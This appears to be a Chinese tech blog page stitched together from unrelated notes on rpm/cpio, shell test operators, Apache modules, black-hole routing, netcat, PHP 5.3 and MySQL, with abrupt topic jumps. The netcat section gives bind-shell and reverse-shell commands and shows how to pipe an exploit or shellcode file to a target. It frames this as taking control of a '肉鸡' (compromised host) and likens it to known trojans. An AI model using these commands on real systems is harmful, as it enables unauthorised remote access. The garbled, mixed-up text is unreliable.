rpm 转换成cpio
rpm2cpio a.rpm > a.cpio
解压cpio文件
Linux
cpio -idmv <a.cpio
AIX:
cpio -idcmv < a.cpio
HP-UX:
cpio -idcmv < a.cpio
DevOps
rpm 转换成cpio
rpm2cpio a.rpm > a.cpio
解压cpio文件
Linux
cpio -idmv <a.cpio
AIX:
cpio -idcmv < a.cpio
HP-UX:
cpio -idcmv < a.cpio
1. 删除一个月内没有访问过的文件
find . -type f -atime +30 | xargs rm -f
UNIX Shell 编程
一些条件判断 总结
-b file 若文件存在且是一个块特殊文件,则为真
-c file 若文件存在且是一个字符特殊文件,则为真
-d file 若文件存在且是一个目录,则为真
-e file 若文件存在,则为真
-f file 若文件存在且是一个规则文件,则为真
-g file 若文件存在且设置了SGID位的值,则为真
-h file 若文件存在且为一个符合链接,则为真
-k file 若文件存在且设置了"sticky"位的值
-p file 若文件存在且为一已命名管道,则为真
-r file 若文件存在且可读,则为真
-s file 若文件存在且其大小大于零,则为真
-u file 若文件存在且设置了SUID位,则为真
-w file 若文件存在且可写,则为真
-x file 若文件存在且可执行,则为真
-o file 若文件存在且被有效用户ID所拥有,则为真
-z string 若string长度为0,则为真
-n string 若string长度不为0,则为真
string1 = string2 若两个字符串相等,则为真
string1 != string2 若两个字符串不相等,则为真
int1 -eq int2 若int1等于int2,则为真
int1 -ne int2 若int1不等于int2,则为真
int1 -lt int2 若int1小于int2,则为真
int1 -le int2 若int1小于等于int2,则为真
int1 -gt int2 若int1大于int2,则为真
int1 -ge int2 若int1大于等于int2,则为真
!expr 若expr为假则复合表达式为真。expr可以是任何有效的测试表达式
expr1 -a expr2 若expr1和expr2都为真则整式为真
expr1 -o expr2 若expr1和expr2有一个为真则整式为真
特殊变量
$0 正在被执行命令的名字。对于shell脚本而言,这是被激活命令的路径
$n 该变量与脚本被激活时所带的参数相对应。n是正整数,与参数位置相对应($1,$2…)
$# 提供脚本的参数号
$* 所有这些参数都被双引号引住。若一个脚本接收两个参数,$*等于$1$2
$@ 所有这些参数都分别被双引号引住。若一个脚本接收到两个参数,$@等价于$1$2
$? 前一个命令执行后的退出状态
$$ 当前shell的进程号。对于shell脚本,这是其正在执行时的进程ID
$! 前一个后台命令的进程号
下面是使用apxs工具给apache添加模块
添加的模块:
LoadModule proxy_module libexec/mod_proxy.so
LoadModule rewrite_module libexec/mod_rewrite.so
LoadModule headers_module libexec/mod_headers.so
添加方法:
1. 进入apache1.3.33 源文件modules目录
cd apache_1.3.33/src/modules/
2. 安装 proxy_module
> cd proxy
> /user/local/apache/bin/apxs -i -a -c *.c
3. 安装 rewrite_module
> cd standard
> /user/local/apache/bin/apxs -i -a -c mod_rewrite.c
4. 安装 headers_module
> cd standard
> /user/local/apache/bin/apxs -i -a -c mod_headers.c
遇到的问题: 安装rewrite_module时,遇到“mod_rewrite.h:90:18: ndbm.h: No such file or directory”
的问题,用find命令在/usr/include/gdbm/ndbm.h 找见,修改 mod_rewrite.h
#include <ndbm.h> => #include <gdbm/ndbm.h>
apache 1.3.33 中的
mod_proxy_ftp.so
mod_proxy_http.so
mod_proxy_connect.so
都编译到proxy.so中了,可以分开,但是我能成功编译proxy.so ,但是再编译mod_proxy_http.so就不行了,有时间在研究。
Linux上一般都有,没有的话可以:yum install curl
Windows上一般没有,可以到这里下载:http://curl.haxx.se/download.html
详细帮助,以后再补!
我需要的是什么?
我怎么才能得到我所需要的?
你真的需要无所不能吗?
人最牛逼也莫过于想要什么就能得到什么。如果都靠自己动手去做,累死也做不到;如果能利用众多人的智慧,那是可以做到的。
一个什么都能做的工具可能不如一个只能做一件事的工具;什么都能做,你可能就什么都不会做,或不知道该做什么了;只能做一件事,可能谁都会用,简单的不需要任何思考。
当你辛辛苦苦昨晚一件事的时候,你想到的基本是‘终于做完了,该歇一下了’,其实你最需要做的不是歇一下,而是总结一下,看看做对了什么做错了什么。
知识与实践赛跑,同样的技术,今天价值10000,明天就价值8000.
善于分析的是员工,善于总结的人是领导;
善于制造工具的人是员工,善于使用工具的人是领导。
黑洞路由,便是将所有无关路由吸入其中,使它们有来无回的路由,一般是admin主动建立的路由条目。
提到黑洞路由就要提一下null0接口。
null0口是个永不down的口,一般用于管理,详见null0的词条
admin建立一个路由条目,将接到的某个源地址转向null0接口,这样对系统负载影响非常小。
如果同样的功能用ACL(地址访问控制列表)实现,则流量增大时CPU利用率会明显增加。
所以,设置黑洞路由一直是解决固定DOS攻击的最好办法。
相当于洪水来临时,在洪水途经的路上附近挖一个不见底的巨大深坑,然后将洪水引入其中。
黑洞路由最大的好处是充分利用了路由器的包转发能力,对系统负载影响非常小。
在路由器中配置路由黑洞完全是出于安全因素,设有黑洞的路由会默默地抛弃掉数据包而不指明原因。
一个黑洞路由器是指一个不支持PMTU且被配置为不发送“Destination Unreachable–目的不可达”回应消息的路由器。
可以这样看:
如果一个路由器不支持PMTU并且配置为不发送ICMP Destination Unreachable消息数据包,那么源主机可能发送一个永远得不到路由的大数据包。因为路由器没有给源主机发回应消息,主机不能确定PMTU就是问题的所在。但如果源主机端启用了PMTU,则源主机在重试几次大的MTU之后,如果还收不到路由器的应答,那源主机自动将PMTU设置为576bytes.
在Windows 2000下PMTU启用设置是—HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
EnablePMTUBHDetect REG_DWORD 0(默认禁用)或1(启用)
在Windows XP下也可以试一下。
(NOTE:PMTU–Path Maximum Transfer Unit是指当一个要发送的数据包的大小与当前路径中的最小的MTU值一样)
netcat被誉为网络安全界的’瑞士军刀’,相信没有什么人不认识它吧……
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几
乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由’红与黑’编译
后的新’浓缩’版。’浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,
有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。
=====================================================================================================
软件介绍:
工具名:Netcat
网址:http://hackbase.com/soft/down.php?downid=15325&id=0
源码:http://www.hacker.com.cn/down/view_11507.html
平台:Windows
WINDOWS下版本号:[v1.10 NT]
=====================================================================================================
参数介绍:
‘nc.exe -h’即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时
端口的表示方法可写为M-N的范围格式。
=====================================================================================================
基本用法:
大概有以下几种用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大……)。
=====================================================================================================
高级用法:
6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送’c:\exploit.txt’的内容(两种格式确有相同的效果,
真是有异曲同工之妙:P)
附:’c:\exploit.txt’为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用’-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把’>’
改为’>>’即可以追加日志
附:’c:\log.txt’为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,并把’c:\honeypot.txt’的内容’送’入其
管道中
(2)
NC有几种工作模式?
l WBT模式
应用程序运行在服务器上,NC作为终端使用,可基本上解决和Windows 应用软件的兼容问题。通过在Windows NT/2000服务器上运行Windows应用程序,在NC上运行RDP客户程序,其使用效果和在本地运行相似,一个扩大内存的普通PC服务器就可以支持数十台NC。
l X―Terminal (X―终端)模式
应用程序运行在Unix服务器上,NC作为终端使用,X―Terminal可以使用Unix(包括Linux)服务器的某些应用程序。
l B/S(浏览器/服务器)模式
在NC上运行浏览器与服务器协同工作,处理能力由服务器和NC分担。B/S模式是应用软件的发展趋势,其性能主要决定于网络和服务器,在这种模式下使用NC与PC的效果几乎没有差别。各NC都通过网络公共出口联接Intent,这与PC用Modem分别联接Intent相比,既经济又安全。
l Linux本地机模式
Linux应用程序可以通过远程加载在NC本地运行,服务器提供文件存储。随着知识产权保护的强化采用Linux应用软件将使软件成本大大降低。打印可由网络或本地支持。
下载地址:http://www.eee110.com/Software/Catalog139/169.html
命令1:监听命令
nc -l -p port
nc -l -p port > e:/log.dat
nc -l -v -p port
参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息
提示:一般大家都爱用-vv
nc -l -p 80
这个很简单,监听80端口
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!
nc -l -p 80 > e:/log.dat
呵呵,功能和上边一样,但是后边加了个“> e:/log.dat”我想,学过ECHO
那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件
nc -l -v -p 80
和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC
的屏幕上。
nc -l -v -p 80
然后在浏览器中输入本机IP:127.0.0.1
同样,上边两个也是一样,大家自己试验一下吧
命令2:程序定向
nc -l -p port -t -e cmd.exe
本地机: nc -l -p port 或 nc -l -v -p port
目标机:nc -e cmd.exe ip port
参数解释:
-l、-p两个参数已经解释过了
-e;作用就是程序定向
-t:以telnet的形式来应答
例子
nc -l -p 5277 -t -e cmd.exe
知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。
说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。
呵呵,咱们来找台肉鸡试试,我TELNET IP 5277
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?
咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)
nc -l -p 5277 (坚听本地5277端口)
同样也可以用
nc -l -v -p 5277
运行在本地
然后在远程机器上,想办法运行
nc -e cmd.exe ip 5277
(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!
呵,看看在本地机器上出现了什么?
这样就是反弹~~在本地机器上得到了一个SHELL
命令3:扫描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
参数解释:
-z:将输入输出关掉,在扫描时使用
nc -v ip port
这个命令是针对某一个端口进行扫描
例如:
nc -v ip 135
扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息
例如:80端口
我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息
nc -v -z ip port-port
这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围
例如:
nc -v -z ip 1-200
可以看到我机器上的1-200的TCP端口的开放情况
nc -v -z -u ip port-port
这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的
例如:
nc -v -z -u ip 1-200
这个命令就会扫1-200的UDP端口
命令4:传送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:/svr.exe
REMOTE MACHINE:nc -v -l -p port > y:/svr.exe
参数解释:
-n:指定数字的IP地址
这两个命令结合起来是用来传送文件的
首先,在远程机上运行命令:
nc -v -l -p 5277 > c:/pulist.exe
这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口
并把接受到的信息数据写到c:/pulist.exe中
这时候在本地机上运行
nc -v -n ip 5277 < e:/hack/pulist.exe
这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上
这样远程主机就会自动创建一个pulist.exe文件
这就是传说中的“命名空间”啦,注意他与其他语言的区别
支持λ函数和闭包运算
支持intl、phar、fileinfo和sqlite3等扩展
可选的循环垃圾收集器
可选的替代libmysql的MySQLnd支持
不再支持Win2000以前的系统(Windows 98, NT4等等)
支持新的语法特性如“NOWDOC”等,限制了“GOTO”和三元运算符“?:”等
在我看来,此次版本步进,最大的意义在于上边的“命名空间”、“晚(静态)绑定”和MySQLnd,“命名空间”的呼声很高,早就应该加进去了;“晚(静态)绑定”现在还没看到实际东西,暂不做评论;至于MySQLnd,这个是MySQL官方出品的“Native driver for PHP”,针对这句话,官方是这么解释的:
这意味着不是“以PHP编写”,因为那样速度很慢。PHP本身是用C语言编写的,因此“native”意味着这个数据库驱动也是以C语言编写并在C语言级别上与PHP紧密集成。这使得驱动能够发挥最大的效能(类似libmysql)。
这不是一个新的API或PHP扩展,已经有三套API(ext/mysql、ext/mysqli、PDO/MySQL)和三套扩展所以不必开发更多的。而MySQLnd更像是一个实现了与MySQL底层通讯协议的库,可以被已经存在的扩展使用。现在ext/mysql和ext/mysqli已经过修改可以选择使用MySQLnd来代替libmysql,PDO/MySQL随后也将做修改。
与libmysql for PHP而言,这没什么变化,但MySQLnd基于PHP License发布而libmysql不是。因此,不再需要FLOSS License以使其兼容,对于提出这项内容的人而言是一个好消息。
1.复制表结构及数据到新表
CREATE TABLE 新表
SELECT * FROM 旧表
2.只复制表结构到新表
CREATE TABLE 新表
SELECT * FROM 旧表 WHERE 1=2
即:让WHERE条件不成立.
方法二:(低版本的mysql不支持,mysql4.0.25 不支持,mysql5已经支持了)
CREATE TABLE 新表
LIKE 旧表
3.复制旧表的数据到新表(假设两个表结构一样)
INSERT INTO 新表
SELECT * FROM 旧表
4.复制旧表的数据到新表(假设两个表结构不一样)
INSERT INTO 新表(字段1,字段2,…….)
SELECT 字段1,字段2,…… FROM 旧表